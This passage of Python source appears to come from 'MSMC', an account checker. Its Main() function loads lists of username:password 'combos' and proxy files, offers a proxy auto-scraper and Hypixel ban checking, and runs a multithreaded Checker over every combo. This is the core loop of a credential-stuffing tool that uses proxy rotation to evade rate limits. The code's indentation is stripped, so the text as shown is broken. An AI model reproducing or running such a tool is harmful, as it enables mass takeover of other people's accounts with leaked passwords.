time.sleep(2)
Proxys()
else:
try:
with open(proxyfile.name, 'r+', encoding='utf-8', errors='ignore') as e:
ext = e.readlines()
for line in ext:
try:
proxyline = line.split()[0].replace('\n', '')
banproxies.append(proxyline)
except: pass
print(Fore.LIGHTBLUE_EX+f"Loaded [{len(banproxies)}] lines.")
time.sleep(2)
except Exception:
print(Fore.LIGHTRED_EX+"Your file is probably harmed.")
time.sleep(2)
banproxyload()
def Main():
global proxytype, screen
utils.set_title("MSMC by KillinMachine")
os.system('cls')
try:
loadconfig()
except:
print(Fore.RED+"There was an error loading the config. Perhaps you're using an older config? If so please delete the old config and reopen MSMC.")
input()
exit()
print(logo)
try:
print(Fore.LIGHTBLACK_EX+"(speed for checking, i recommend 100, give more threads if its slow. if proxyless give at most 5 threads.)")
thread = int(input(Fore.LIGHTBLUE_EX+"Threads: "))
except:
print(Fore.LIGHTRED_EX+"Must be a number.")
time.sleep(2)
Main()
print(Fore.LIGHTBLUE_EX+"Proxy Type: [1] Http\s - [2] Socks4 - [3] Socks5 - [4] None - [5] Auto Scraper")
proxytype = repr(readchar.readkey())
cleaned = int(proxytype.replace("'", ""))
if cleaned not in range(1, 6):
print(Fore.RED+f"Invalid Proxy Type [{cleaned}]")
time.sleep(2)
Main()
print(Fore.LIGHTBLUE_EX+"Screen: [1] CUI - [2] Log")
screen = repr(readchar.readkey())
print(Fore.LIGHTBLUE_EX+"Select your combos")
Load()
if proxytype != "'4'" and proxytype != "'5'":
print(Fore.LIGHTBLUE_EX+"Select your proxies")
Proxys()
if config.get('proxylessban') == False and config.get('hypixelban') is True:
print(Fore.LIGHTBLUE_EX+"Select your SOCKS5 Ban Checking Proxies.")
banproxyload()
if proxytype =="'5'":
print(Fore.LIGHTGREEN_EX+"Scraping Proxies Please Wait.")
threading.Thread(target=get_proxies).start()
while len(proxylist) == 0:
time.sleep(1)
if not os.path.exists("results"): os.makedirs("results/")
if not os.path.exists('results/'+fname): os.makedirs('results/'+fname)
if screen == "'1'": cuiscreen()
elif screen == "'2'": logscreen()
else: cuiscreen()
with concurrent.futures.ThreadPoolExecutor(max_workers=thread) as executor:
futures = [executor.submit(Checker, combo) for combo in Combos]
concurrent.futures.wait(futures)
finishedscreen()
input()
Main()